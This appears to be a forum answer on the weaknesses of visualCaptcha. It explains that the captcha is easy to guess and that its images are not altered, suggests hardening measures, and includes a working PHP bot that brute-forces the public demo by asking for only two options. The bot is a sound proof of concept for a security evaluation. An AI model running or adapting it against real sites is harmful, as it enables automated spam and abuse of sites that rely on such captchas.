How strong is visualCaptcha?
There are two considerable weaknesses in the live demo which make it quite trivial to break:
- There are only 5 possible answers to the captcha question, so a bot has a 20% chance to solve the captcha by picking a random symbol. The demo didn't ban me after picking a wrong answer over 20 times in a row, so there is no reason why a bot can't just keep guessing until it got a correct answer by chance.
- There is only a very limited set of images which are in no way altered. They appear under different URLs, but always look the same, so a bot can identify them by loading and decoding the images. Also, the system refers to each image with the same word every time. That would allow to simply tell the bot which word means which image.
Some ideas to make the captcha stronger:
- Ask the user to mark multiple objects and only let them pass when they marked these and only these objects. That would make random guessing much less efficient.
- Ban IP addresses for a few minutes after many wrong answers in a row
- Use a much larger set of images
- Use an even larger dictionary of strings to refer to them
- Use image altering algorithms with randomized parameters to alienate the images a bit so it gets harder to recognize them automatically
Keep in mind that no captcha is truly unbreakable. All you can hope for is to increase the effort an attacker needs to invest to break it. But that can be all you need. Captchas are one of the few areas where security through obscurity can pay off. Spammers look for low-hanging fruits. When you use an obscure home-brewed captcha solution and aren't a particularly valuable target, many spammers will just be too lazy to figure it out. When you are a particularly valuable target, they will just hire a bunch of people from a 3rd world country to solve your captchas. And you can not defend against this without also making your website unusable for regular users.
To try it out, I've written a small bot that tries to post the the visual captcha demo.
If first initiates the captcha session, telling is only wants 2 options using http://demo.visualcaptcha.net/start/2
. Than it picks one of the two possible results and posts to http://demo.visualcaptcha.net/try
.
Result:
✓☓☓✓✓✓☓☓☓☓☓☓☓✓✓☓☓☓☓☓✓☓✓✓☓✓✓☓✓✓☓✓✓✓✓✓☓✓☓✓✓✓☓✓☓✓☓✓✓✓
☓✓✓☓✓☓✓✓☓☓✓☓✓✓☓☓✓☓✓✓✓☓✓☓☓✓✓☓✓☓✓☓☓☓☓☓✓✓☓☓✓☓☓✓☓✓☓☓☓✓
✓☓☓✓✓✓☓✓☓☓✓☓☓✓☓☓☓☓☓☓✓✓✓☓✓☓✓☓☓☓✓✓☓✓☓☓✓✓☓☓☓✓✓☓✓☓☓✓✓✓
☓✓☓✓✓☓☓✓✓☓☓☓✓☓☓✓☓✓☓✓✓☓☓☓✓✓☓✓☓✓✓✓✓✓✓✓✓✓☓☓✓☓☓☓✓✓☓✓✓☓
☓✓☓☓✓✓✓✓☓✓✓✓☓✓✓☓☓✓☓✓✓✓✓☓☓✓✓✓☓☓✓☓✓☓✓✓✓☓✓✓☓☓✓☓✓☓☓☓☓☓
Of the 250 tries, I succeeded 127 times and failed 123 times.
VisualCaptcha is clearly very unsafe.
Using a fixed number of images (eg 5), instead of letting the client pick the number of images, would help to reduce the successful tries to 1 in 5. Though I recon that's not sufficient for most use cases.
<?php
/**
* Try posting to the visualCaptcha demo
* @return boolean true if posted successfully
*/
function tryVisualCaptcha()
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, "/tmp/visualcaptcha-cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "/tmp/visualcaptcha-cookies.txt");
curl_setopt($curl, CURLOPT_URL, "http://demo.visualcaptcha.net/start/2");
$ret = curl_exec($curl);
$result = json_decode($ret);
$post = [$result->imageFieldName => $result->values[0]];
curl_setopt($curl, CURLOPT_URL, "http://demo.visualcaptcha.net/try");
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
curl_exec($curl);
$info = curl_getinfo($curl);
return strpos($info['redirect_url'], 'validImage') !== false;
}
// Main
$results = [0 => 0, 1 => 0];
for ($i = 1; $i <= 250; $i++) {
$success = tryVisualCaptcha();
$results[(int)$success]++;
echo $success ? "✓" : "☓", $i % 50 === 0 ? "\n" : "";
}
echo "Of the ", array_sum($results), " tries, I succeeded ", $results[1],
" times and failed ", $results[0], " times.\n";